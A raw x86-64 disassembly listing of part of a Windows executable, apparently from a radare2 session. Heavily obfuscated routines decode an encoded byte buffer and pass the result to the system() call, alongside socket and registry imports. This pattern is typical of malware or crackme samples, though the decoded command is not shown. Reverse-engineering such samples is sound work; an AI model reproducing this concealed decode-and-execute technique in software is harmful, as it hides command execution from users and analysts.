jmp 0x1400cf2fd
lea ecx, [rdi - 0x68]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x28
jmp 0x1400cf300
lea edx, [rdi - 0x50]
mov ecx, Ordinal_27
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400cf337
lea ecx, [rdi - 0x38]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x78
jmp 0x1400cf35e
lea ecx, [rdi - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
lea r10d, [r11 + rcx]
sub r10b, 0x20
inc rdi
jmp 0x1400ce903
lea edx, [rdi + 0x1c]
mov ecx, reloc.WLDAP32.dll_Ordinal_30
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
mov byte [rsp + rdi + 0x60], r10b
inc rdi
jmp 0x1400ce903
lea ecx, [rdi + 0x34]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6c
cmp r9, 4
jb 0x1400ced11
movzx ebx, dil
lea ecx, [rbx + 0x38]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx*2 - 0x10]
jmp 0x1400cf2a3
lea ecx, [rdi + 0x4c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x14
cmp r8, 9
jae 0x1400cf1ea
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x1400cf117
lea edx, [rdi + 0x28]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
sub r10b, 0x18
add r10b, dl
jmp 0x1400ced33
lea edx, [rdi + 0x64]
mov ecx, Ordinal_35
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
lea rax, [r9 + r8]
cmp rax, 0x28
je 0x1400cf22b
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x1400cf023
lea edx, [rdi + 0x24]
mov ecx, 2
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400ced6f
lea edx, [rdi + 0x18]
mov ecx, Ordinal_45
movzx eax, dl
and al, r11b
sub cl, al
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rdi
jmp 0x1400ce903
lea ecx, [rdi + 0x30]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x50
jmp 0x1400cf35e
lea edx, [rdi + 0x48]
mov ecx, 4
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400cf337
lea edx, [rdi + 0x60]
mov ecx, Ordinal_50
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400cf300
lea ecx, [rdi + 0x78]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x48
jmp 0x1400cf2fd
mov ecx, 8
movzx ebx, dil
lea edx, [rbx - 0x70]
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400cf208
lea edx, [rdi - 0x58]
mov ecx, 0x34
movzx eax, r11b
dec rdi
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rdi
jmp 0x1400ce903
lea ecx, [rdi - 0x40]
movzx eax, r11b
and al, cl
inc r9
add al, al
dec rdi
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x40
inc rdi
jmp 0x1400ce903
mov ecx, ntohl
movzx ebx, dil
movzx eax, r11b
lea edx, [rbx - 0x28]
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400cf2a0
lea rax, [r9 + 0x200]
cmp r8, rax
jae 0x1400cef4b
lea edx, [rdi - 0xc]
mov ecx, Ordinal_45
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400cedbb
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400cef7d
lea ecx, [rdi + 8]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
lea r10d, [rcx + r11]
sub r10b, 0x38
inc rdi
jmp 0x1400ce903
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400cefa2
mov ecx, ntohl
lea edx, [rdi - 0x28]
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400cf334
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400cefca
lea edx, [rdi - 0x58]
mov ecx, 0x34
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400cf2fd
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400ceff3
lea ecx, [rdi + 0x78]
dec rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x48
inc rdi
jmp 0x1400ce903
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400cedbb
mov ecx, 4
movzx ebx, dil
lea edx, [rbx + 0x48]
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400cf2a3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400cf04b
movzx ebx, dil
movzx eax, r11b
movzx r10d, r11b
lea edx, [rbx + 0xc]
and al, dl
add al, al
sub r10b, al
sub r10b, 0x54
jmp 0x1400cf2a0
inc rax
cmp r8, rax
jne 0x1400cf074
lea ecx, [rdi - 0x24]
movzx eax, r11b
and al, cl
dec rdi
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 4
inc rdi
jmp 0x1400ce903
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400cf097
lea ecx, [rdi - 0x6c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xc
jmp 0x1400cf300
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400cf0ba
lea ecx, [rdi + 0x7c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x64
jmp 0x1400cf337
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400cf0e2
lea edx, [rdi + 0x64]
mov ecx, Ordinal_35
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400cf35e
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400ced6f
lea ecx, [rdi + 0x4c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
lea r10d, [r11 + rcx]
sub r10b, 0x14
inc rdi
jmp 0x1400ce903
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400cf149
lea ecx, [rdi + 0x10]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
lea r10d, [rcx + r11]
sub r10b, 0x70
inc rdi
jmp 0x1400ce903
inc rax
cmp r8, rax
jne 0x1400cf16b
lea ecx, [rdi - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
jmp 0x1400cf337
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400cf193
lea edx, [rdi - 0x50]
mov ecx, Ordinal_27
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400cf2fd
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400cf1bf
lea ecx, [rdi + 0x80]
dec rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
inc rdi
jmp 0x1400ce903
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400ced33
movzx ebx, dil
lea ecx, [rbx + 0x50]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x30
jmp 0x1400cf2a3
movzx ecx, byte [rsp + rdi + 0x60]
movzx ebx, dil
lea edx, [rbx + 0x20]
movzx eax, dl
and al, r11b
sub cl, al
add cl, 0x10
lea r10d, [rcx + rcx]
add r10b, dl
add bl, 0x14
mov ecx, Ordinal_60
movzx eax, bl
and al, r11b
sub cl, al
add cl, cl
add cl, bl
add cl, r10b
add cl, r11b
mov byte [rsp + rdi + 0x60], cl
jmp 0x1400cf2fd
lea edx, [rdi + 8]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
sub r10b, byte [rsp + rdi + 0x60]
sub r10b, 0x38
jmp 0x1400cf334
lea edx, [rdi + 0x44]
mov ecx, reloc.WS2_32.dll_select
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400cf35e
lea edx, [rdi - 0x74]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400cf2fd
movzx ebx, dil
movzx eax, r11b
movzx r10d, r11b
lea edx, [rbx - 0x14]
and al, dl
add al, al
sub r10b, al
sub r10b, 0x74
add r10b, dl
add bl, 0x2c
movzx eax, bl
and al, r11b
add al, al
sub bl, al
sub bl, 0x34
add bl, r11b
mov byte [rsp + rdi + 0x60], bl
inc r9
dec rdi
inc rdi
jmp 0x1400ce903
lea ecx, [rdi + 0x4c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x14
dec rdi
inc rdi
jmp 0x1400ce903
lea ecx, [rdi + 0x7c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x64
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400ce903
mov ecx, Ordinal_41
lea rdx, [rdi + r12]
movzx eax, dl
movzx r11d, bl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
lea edx, [rdi - 4]
inc r9
movzx eax, dl
mov ecx, reloc.WS2_32.dll_ntohl
and al, r11b
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
movzx eax, cl
mov byte [rsp + rdi + 0x60], al
add rax, r9
sub rdi, rax
lea edx, [rdi - 0x10]
inc r8
movzx eax, dl
mov ecx, Ordinal_60
and al, r11b
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, dl
add cl, r11b
mov byte [rsp + rdi + 0x60], cl
add rdi, rax
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400ce903
lea rcx, [rdi + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 4
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400ce903
sub dil, 0x3c
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
lea r10d, [rdi + r11]
sub r10b, 0x5c
jmp 0x1400ce900
sub dil, 0x24
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
lea r10d, [rdi + r11]
sub r10b, 4
jmp 0x1400ce8f0
lea rcx, [rbp + 0x17a7350]
jmp 0x1400cf415
lea rcx, [rbp + 0x157d044]
jmp 0x1400cf415
lea rcx, [rsp + 0x60]
call fcn.14003f5a0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
movzx r11d, byte [rbp + 0x90]
xor eax, eax
xorps xmm0, xmm0
mov qword [rbp + 0x41], rax
movups xmmword [rbp + 0x31], xmm0
mov word [rbp + 0x49], ax
movabs rsi, 0xb7f16795634debe5
mov dword [rbp + 0x20], 0x5f5f4d53
movabs r14, 0x777ca4407dbd4b0d
mov dword [rbp + 0x24], 0x5d51584e
movabs r15, 0x27d436c029e9c3af
mov dword [rbp + 0x28], 0x935a9c8e
mov dword [rbp + 0x2c], 0x87904583
mov byte [rbp + 0x30], 0xb6
nop
mov rax, qword [0x1402e3348]
mov r9, qword [0x1402e3350]
nop
mov rbx, r13
cmp rbx, 0x2b
jae 0x1400cfeb2
movzx r10d, byte [rbp + rbx + 0x20]
mov r8, r10
cmp rax, rbx
ja 0x1400cfea9
lea rcx, [r9 + 1]
cmp rax, rcx
jae 0x1400cf4d1
lea r11, [rbx + rsi]
movzx ecx, r11b
and cl, r8b
add cl, cl
sub r11b, cl
sub r11b, 0x43
add r11b, r8b
jmp 0x1400cf510
je 0x1400cfe40
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1400cfe10
lea rcx, [r9 + 6]
cmp rax, rcx
je 0x1400cfdcd
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x1400cfdac
lea rcx, [r9 + 9]
cmp rax, rcx
je 0x1400cfd64
nop dword [rax + rax]
cmp r9, rbx
ja 0x1400cfea0
lea rcx, [r9 + 0x7a]
cmp rax, rcx
jae 0x1400cf539
lea edx, [rbx - 0x37]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x7f
jmp 0x1400cf580
lea rdx, [r9 + 1]
cmp rax, rdx
je 0x1400cfd47
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1400cfd2a
lea rcx, [rdx + 1]
cmp rax, rcx
je 0x1400cfd0d
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x1400cfcf3
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x1400cfccb
nop word [rax + rax]
lea rcx, [r9 + rax]
cmp rcx, rbx
jbe 0x1400cfa42
nop dword [rax]
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x1400cfa1e
lea rcx, [r9 + 9]
cmp rax, rcx
je 0x1400cf9fb
lea rcx, [r9 + 0x41]
cmp rax, rcx
je 0x1400cf9d4
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x1400cf9b7
lea rcx, [r9 + 0x400]
cmp rax, rcx
je 0x1400cf993
lea rcx, [r9 + 0x2a]
cmp rax, rcx
je 0x1400cf979
lea rcx, [r9 + 6]
cmp rax, rcx
je 0x1400cf958
lea rcx, [r9 + 0x61]
cmp rax, rcx
je 0x1400cf93e
lea rcx, [r9 + 0x200]
cmp rax, rcx
je 0x1400cf590
lea rax, [r9 + 3]
lea r9, [rax + 0x41]
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
jb 0x1400cfe85
lea rcx, [r9 + 0x5a]
cmp rax, rcx
jb 0x1400cfe6a
lea rcx, [r9 + 0x42]
cmp rax, rcx
jb 0x1400cf74a
lea rcx, [r9 + 0x1000]
cmp rax, rcx
jb 0x1400cf730
lea rcx, [r9 + 0x10]
cmp rax, rcx
jb 0x1400cf716
lea rcx, [r9 + 0x80]
cmp rax, rcx
jb 0x1400cf8f7
lea rcx, [r9 + 6]
cmp rax, rcx
jb 0x1400cf8b2
lea rcx, [r9 + 0x28]
cmp rax, rcx
jb 0x1400cf873
lea rcx, [r9 + 9]
cmp rax, rcx
jb 0x1400cf590
lea rax, [r9 + 3]
lea r9, [rax + 0x42]
lea rcx, [r9 + 0xa]
cmp rax, rcx
ja 0x1400cf844
lea rcx, [r9 + 0x64]
cmp rax, rcx
ja 0x1400cf82a
lea rcx, [r9 + 5]
cmp rax, rcx
ja 0x1400cf809
lea rcx, [r9 + 0x20]
cmp rax, rcx
ja 0x1400cf7ef
lea rcx, [r9 + 1]
cmp rax, rcx
ja 0x1400cf7cb
lea rcx, [r9 + 8]
cmp rax, rcx
ja 0x1400cf7ae
lea rcx, [r9 + 0x7a]
cmp rax, rcx
ja 0x1400cf787
lea rcx, [r9 + 3]
cmp rax, rcx
ja 0x1400cf764
lea rcx, [r9 + 0x5a]
cmp rax, rcx
ja 0x1400cf590
lea rax, [r9 + 0x400]
lea r9, [rax + 5]
jmp 0x1400cf590
lea edx, [rbx + 0x57]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x61
jmp 0x1400cf580
lea edx, [rbx - 0x73]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
add r11b, 0x25
jmp 0x1400cf510
lea edx, [rbx - 0x3d]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x55
jmp 0x1400cf4a3
lea edx, [rbx + 0x7e]
inc r9
movzx ecx, dl
dec rbx
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x72
inc rbx
jmp 0x1400cf493
lea r8d, [rbx - 0x4c]
mov edx, 0xa
movzx ecx, r8b
dec rbx
and cl, r10b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, r10b
inc rbx
jmp 0x1400cf493
lea edx, [rbx - 0x16]
movzx edi, bl
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x66
jmp 0x1400cfdeb
lea r8d, [rbx + 0x20]
mov edx, reloc.WS2_32.dll_recv
movzx ecx, r8b
and cl, r10b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, r10b
add rax, r9
jmp 0x1400cfe27
lea edx, [rbx + 0x56]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x5a
jmp 0x1400cfe27
lea r8d, [rbx - 0x74]
mov edx, reloc.WLDAP32.dll_Ordinal_22
movzx ecx, r8b
and cl, r10b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, r10b
jmp 0x1400cfc66
lea edx, [rbx - 0x3e]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x4e
jmp 0x1400cfc8e
lea r8d, [rbx - 8]
mov edx, Ordinal_32
movzx ecx, r8b
and cl, r10b
sub dl, cl
movzx ecx, byte [rbp + rbx + 0x20]
add rcx, r9
add rbx, rcx
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, r10b
inc rbx
jmp 0x1400cf493
lea edx, [rbx - 0x4b]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
add r11b, 0xd
cmp r9, 0x10
jb 0x1400cfc18
movzx edi, bl
lea edx, [rdi + 0x3e]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
add dl, r10b
lea r11d, [rdx*2 - 0x64]
jmp 0x1400cfd82
lea edx, [rbx - 0x15]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x6d
cmp rax, 0x400
jae 0x1400cfc25
lea rcx, [r9 + 0x42]
cmp rax, rcx
jbe 0x1400cfb8f
lea edx, [rbx + 0x5a]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x76
jmp 0x1400cf888
lea edx, [rbx + 0x21]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
add r11b, 0x19
lea rcx, [r9 + rax]
cmp rcx, 3
je 0x1400cfc4d
lea rcx, [r9 + 0x41]
cmp rax, rcx
jbe 0x1400cfb1c
lea edx, [rbx - 0x6f]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
add r11b, 9
jmp 0x1400cf8c7
lea edx, [rbx - 0x14]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x74
jmp 0x1400cfc8e
lea r8d, [rbx + 0x22]
mov edx, 9
movzx ecx, r8b
and cl, r10b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, r10b
jmp 0x1400cfc66
lea edx, [rbx + 0x58]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x68
jmp 0x1400cfe27
lea r8d, [rbx - 0x72]
mov edx, reloc.WS2_32.dll_ntohs
movzx ecx, r8b
and cl, r10b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, r10b
add rax, r9
jmp 0x1400cfe27
movzx edi, bl
lea edx, [rdi - 0x3c]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x5c
jmp 0x1400cfdeb
lea r8d, [rbx - 6]
mov edx, reloc.WS2_32.dll_setsockopt
movzx ecx, r8b
dec rbx
and cl, r10b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, r10b
inc rbx
jmp 0x1400cf493
lea edx, [rbx + 0x30]
inc r9
movzx ecx, dl
dec rbx
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x50
inc rbx
jmp 0x1400cf493
lea r8d, [rbx + 0x66]
mov edx, reloc.WLDAP32.dll_Ordinal_27
movzx ecx, r8b
movzx edi, bl
and cl, r10b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, r10b
jmp 0x1400cfd82
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
jae 0x1400cfa68
lea edx, [rbx - 0x1b]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x43
jmp 0x1400cf90c
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1400cfaa0
lea r8d, [rbx - 0x6e]
mov edx, 1
movzx ecx, r8b
and cl, r10b
sub dl, cl
movzx ecx, byte [rbp + rbx + 0x20]
add rcx, r9
add rbx, rcx
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, r10b
inc rbx
jmp 0x1400cf493
inc rcx
cmp rax, rcx
jne 0x1400cfac2
lea edx, [rbx + 0x26]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0xa
jmp 0x1400cfc66
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1400cfaef
mov edx, reloc.WLDAP32.dll_Ordinal_50
movzx edi, bl
lea r8d, [rdi - 0x7c]
movzx ecx, r8b
and cl, r10b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, r10b
jmp 0x1400cfdeb
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x1400cf90c
lea edx, [rbx + 0x4e]
dec rbx
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x22
inc rbx
jmp 0x1400cf493
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1400cfb42
movzx edi, bl
lea edx, [rdi + 0x5b]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x7d
jmp 0x1400cfd82
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1400cfb68
movzx edi, bl
lea edx, [rdi - 0x47]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0xf
jmp 0x1400cfdeb
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x1400cf8c7
lea edx, [rbx + 0x17]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
add r11b, 0x5f
jmp 0x1400cfc66
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1400cfbc7
lea r8d, [rbx + 0x24]
mov edx, 2
movzx ecx, r8b
and cl, r10b
sub dl, cl
movzx ecx, byte [rbp + rbx + 0x20]
add rcx, r9
add rbx, rcx
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, r10b
inc rbx
jmp 0x1400cf493
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1400cfbe7
lea edx, [rbx - 0x48]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 8
jmp 0x1400cfc66
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x1400cf888
mov edx, 0x33
movzx edi, bl
lea r8d, [rdi + 0x16]
movzx ecx, r8b
and cl, r10b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, r10b
jmp 0x1400cfdeb
mov byte [rbp + rbx + 0x20], r11b
inc rbx
jmp 0x1400cf493
movzx r11d, byte [rbp + rbx + 0x20]
movzx edi, bl
lea r8d, [rdi + 8]
movzx ecx, r8b
and cl, r10b
add cl, cl
sub r11b, cl
sub r11b, 0x38
add r11b, r8b
add r11b, r10b
jmp 0x1400cfdeb
lea r8d, [rbx - 0x2e]
mov edx, reloc.WLDAP32.dll_Ordinal_33
movzx ecx, r8b
and cl, r10b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
lea r8d, [rbx - 0x49]
movzx ecx, r10b
and cl, r8b
inc r9
add cl, cl
movzx edx, r10b
sub dl, cl
dec dl
add dl, r8b
movzx ecx, dl
mov byte [rbp + rbx + 0x20], cl
add rcx, r9
sub rbx, rcx
lea edx, [rbx - 0x64]
movzx ecx, r10b
and cl, dl
inc rax
add cl, cl
sub r10b, cl
mov rcx, 0xffffffffffffffff
sub rcx, rax
sub r10b, 0x44
add r10b, dl
mov byte [rbp + rbx + 0x20], r10b
add rbx, rcx
movzx ecx, byte [rbp + rbx + 0x20]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1400cf493
lea edx, [rbx - 0x1d]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
movzx ecx, byte [rbp + rbx + 0x20]
add rcx, r9
add rbx, rcx
lea r11d, [r10 + rdx]
sub r11b, 0x35
inc rbx
jmp 0x1400cf493
lea edx, [rbx - 0x7b]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
add r11b, 0x5d
jmp 0x1400cfe27
lea edx, [rbx - 0x45]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x1d
add rax, r9
jmp 0x1400cfe27
movzx edi, bl
lea edx, [rdi - 0xf]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
add r11b, 0x69
jmp 0x1400cfdeb
movzx edi, bl
movzx ecx, r10b
movzx r11d, r10b
lea r8d, [rdi - 0x6d]
and cl, r8b
add cl, cl
sub r11b, cl
sub r11b, 5
jmp 0x1400cfd7f
movzx edi, bl
movzx ecx, r10b
movzx r11d, r10b
lea r8d, [rdi - 1]
and cl, r8b
add cl, cl
sub r11b, cl
add r11b, 7
add r11b, r8b
movzx ecx, r10b
add dil, 0x23
and cl, dil
add cl, cl
sub r10b, cl
add r10b, 0xb
add r10b, dil
mov byte [rbp + rbx + 0x20], r10b
inc r9
dec rbx
inc rbx
jmp 0x1400cf493
lea edx, [rbx + 0x6b]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea r11d, [rdx + r10]
add r11b, 0x13
dec rbx
inc rbx
jmp 0x1400cf493
movzx edi, bl
movzx ecx, r10b
movzx r11d, r10b
lea r8d, [rdi - 0x5f]
and cl, r8b
add cl, cl
sub r11b, cl
sub r11b, 0x67
add r11b, r8b
sub dil, 0x13
movzx ecx, r10b
and cl, dil
movzx edx, r11b
add cl, cl
sub dl, cl
sub dl, 0x7b
add dl, r10b
add dl, dil
mov byte [rbp + rbx + 0x20], dl
add rax, r9
jmp 0x1400cfe27
lea rdx, [rbx + r14]
movzx ecx, r8b
and cl, dl
add cl, cl
sub r8b, cl
lea r11d, [rdx + r8]
sub r11b, 0x5b
movzx ecx, r11b
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x1400cf493
lea rdx, [rbx + r15]
movzx ecx, r8b
and cl, dl
add cl, cl
sub r8b, cl
lea r11d, [rdx + r8]
add r11b, 0x37
movzx ecx, byte [rbp + rbx + 0x20]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1400cf493
sub bl, 7
movzx ecx, r10b
and cl, bl
add cl, cl
sub r10b, cl
lea r11d, [rbx + r10]
add r11b, 0x31
jmp 0x1400cf490
add bl, 0x2f
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x49
jmp 0x1400cf480
lea rcx, [rbp + 0x15a7dfc]
jmp 0x1400cfeb6
lea rcx, [rbp + 0x16869e1]
jmp 0x1400cfeb6
lea rcx, [rbp + 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rbp + 0xa0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x1a8]
add rsp, 0x150
pop r15
